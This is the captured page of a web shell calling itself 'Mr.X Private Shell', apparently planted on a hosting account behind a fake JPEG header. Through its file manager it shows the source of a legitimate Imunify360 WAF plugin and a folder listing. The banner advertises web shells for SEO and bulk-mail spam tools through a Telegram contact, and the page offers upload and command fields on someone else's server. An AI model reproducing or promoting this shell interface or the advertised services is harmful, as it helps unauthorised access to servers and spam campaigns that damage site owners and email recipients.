����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
"""
A plugin responsible for periodically launching AppVersionDetector and
optionally limiting ModSecurity rulesets for the sites that use various
CMS.

Currently it sets up and maintains a cron job to achieve this.
"""

import os
from logging import getLogger

from defence360agent.contracts.config import SystemConfig
from defence360agent.contracts.messages import MessageType
from defence360agent.contracts.plugins import MessageSink, expect
from im360.contracts.config import Modsec as Config
from defence360agent.subsys import web_server
from defence360agent.subsys.persistent_state import load_state, save_state
from im360.subsys.panels.hosting_panel import HostingPanel
from im360.subsys.waf_rules_configurator import (
    try_restore_config_from_backup,
)

logger = getLogger(__name__)

UPDATE_COMPONENTS_SCRIPT = (
    "/opt/imunify360/venv/share/imunify360/scripts/"
    "update_components_versions.py"
)
WAF_CONFIGURATOR_CRON_PATH = "/etc/cron.d/waf_configurator"


class WAFRuleSetConfigurator(MessageSink):
    async def create_sink(self, loop):
        self._app_specific_ruleset = load_state("WAFRuleSetConfigurator").get(
            "app_specific_ruleset"
        )
        if (
            self._app_specific_ruleset is None
            or self._app_specific_ruleset != Config.APP_SPECIFIC_RULESET
        ):
            self._app_specific_ruleset = Config.APP_SPECIFIC_RULESET
            await try_restore_config_from_backup()

    async def shutdown(self):
        save_state(
            "WAFRuleSetConfigurator",
            {"app_specific_ruleset": self._app_specific_ruleset},
        )

    async def _truncate_conf(self):
        """
        If app-specific httpd config exists and is not empty,
        truncate it
        """
        try:
            config_path = HostingPanel().get_app_specific_waf_config()
            st = os.stat(config_path)
        except (FileNotFoundError, NotImplementedError):
            pass
        else:
            if st.st_size:
                open(config_path, "w").close()
                await web_server.graceful_restart()
                logger.info("App specific ruleset config truncated")

    @expect(MessageType.ConfigUpdate)
    async def truncate_conf(self, message):
        if isinstance(message["conf"], SystemConfig):
            enabled = Config.APP_SPECIFIC_RULESET
            if enabled != self._app_specific_ruleset:
                self._app_specific_ruleset = enabled
                if not enabled:
                    await self._truncate_conf()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
coraza_ff_watcher.py File 2.82 KB 0644
cpanel_uploader.py File 2.71 KB 0644
export_wblist.py File 4.14 KB 0644
fgw.py File 1.71 KB 0644
lfd.py File 3.43 KB 0644
modsec_ruleset_checker.py File 4.91 KB 0644
ossec_rules_checker.py File 1.76 KB 0644
pam_manager.py File 6.59 KB 0644
php_immunity.py File 1.4 KB 0644
remoteip_install.py File 1.03 KB 0644
repeater.py File 1.16 KB 0644
send_server_config.py File 4.43 KB 0644
service_manager.py File 5.22 KB 0644
startup_actions.py File 2.42 KB 0644
strategy_getter.py File 2 KB 0644
waf_rules_configurator.py File 2.48 KB 0644
webshield_feature_flags.py File 1.12 KB 0644
whitelist_current_user.py File 2.75 KB 0644